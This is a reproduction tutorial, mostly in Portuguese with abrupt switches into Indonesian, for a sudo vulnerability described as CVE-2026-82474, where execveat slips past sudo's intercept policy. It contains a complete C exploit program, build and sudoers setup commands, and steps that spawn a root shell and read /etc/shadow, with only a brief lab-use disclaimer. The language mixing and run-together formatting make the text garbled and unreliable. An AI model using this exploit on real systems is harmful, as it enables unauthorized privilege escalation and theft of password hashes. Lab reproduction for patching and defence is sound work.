
Tutorial de reprodução e programa de acionamento que demonstram o CVE-2026-82474, um bypass de interceptação do sudo via execveat que permite escalonamento de privilégios local para root.
execveat na interceptação do sudo)Aviso: Este tutorial destina-se apenas a ambientes de laboratório que você controla totalmente. Não o utilize em sistemas sem autorização. O CVE-2026-82474 é uma vulnerabilidade real que afeta o sudo até a versão 1.9.17p2.
O CVE-2026-82474 é uma vulnerabilidade no sudo que permite a usuários com permissões limitadas contornar a política intercept (baseada em ptrace) invocando a syscall execveat. O sudo verifica execve, mas não verifica execveat, de modo que programas que deveriam ser proibidos podem ser executados.
Defaults intercept ou Defaults log_subcmds ativos, usuário com permissões sudo limitadasexecveat)sudo-1.9.17p2.tar.gzgcc, make, libpam0g-dev, libselinux1-dev (opcional)# Unduh source code
wget https://www.sudo.ws/dist/sudo-1.9.17p2.tar.gz
tar xzvf sudo-1.9.17p2.tar.gz
cd sudo-1.9.17p2
# Konfigurasi dan kompilasi
./configure --prefix=/usr/local
make -j$(nproc)
# Instal (timpa sudo sistem; lakukan di VM/container)
sudo make install
Verificação:
/usr/local/bin/sudo --version
# Harus menampilkan: Sudo version 1.9.17p2
Certifique-se de que /usr/local/bin esteja à frente no PATH, ou use o caminho absoluto /usr/local/bin/sudo em todos os comandos seguintes.
sudo useradd -m -s /bin/bash attacker
sudo passwd attacker
syscaller.cEste programa abre o arquivo alvo e, em seguida, chama execveat com AT_EMPTY_PATH para executá-lo. Como execveat não é verificado pela interceptação do sudo, o programa alvo é executado como root.
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
const char *target = (argc > 1) ? argv[1] : "/bin/sh";
int fd = open(target, O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
char *const new_argv[] = { (char *)target, NULL };
char *const new_envp[] = { NULL };
long ret = syscall(SYS_execveat, fd, "", new_argv, new_envp, AT_EMPTY_PATH);
perror("execveat");
return 1;
}
Compile como o usuário attacker:
su - attacker
gcc syscaller.c -o syscaller
Edite com visudo (como root):
sudo visudo
Adicionar:
Defaults intercept
attacker ALL=(root) NOPASSWD: /home/attacker/syscaller
Yang diizinkan adalah syscaller itu sendiri, bukan /bin/sh. Ini adalah kuncinya: sudo mengizinkan syscaller berjalan, tetapi ketika syscaller memanggil execveat untuk menjalankan /bin/sh, sudo tidak memeriksa execveat.
Como o usuário attacker:
sudo /home/attacker/syscaller /bin/sh
Se bem-sucedido, o prompt muda de $ para #.
Comandos externos como id ou whoami continuarão bloqueados pela interceptação do sudo (pois disparam execve normal). Use built-ins do shell para comprovar os privilégios de root:
read line < /etc/shadow && echo "readable"
ou
while IFS= read -r line; do echo "$line"; done < /etc/shadow
Saída: readable — prova que o shell está sendo executado como root e consegue ler /etc/shadow.
Ou:
echo $UID
# Output: 0
id
# Output: Sorry, user attacker is not allowed to execute '/usr/bin/id' as root...
Isso prova que o mecanismo de interceptação continua funcionando para execve comum, mas o execveat conseguiu contorná-lo.
| Etapa | Resultado |
|---|---|
| Compilação do sudo 1.9.17p2 | ✅ |
Defaults intercept ativo | ✅ |
Lista de permissões apenas syscaller | ✅ |
execveat aciona /bin/sh | ✅ |
| Shell root obtido | ✅ |
/etc/shadow pode ser lido | ✅ |
execve comum continua bloqueado | ✅ |
syscaller.c acima é uma ferramenta de verificação escrita por conta própria com base nos princípios técnicos.71fbe42; versões do sudo posteriores à 1.9.17p2 não são mais vulneráveis.bash como alvo (/bin/bash), o shell pode ler configurações adicionais; no entanto, comandos externos continuarão bloqueados pela interceptação.execveat e do ptrace pode variar entre kernels.71fbe42 (repositório sudo)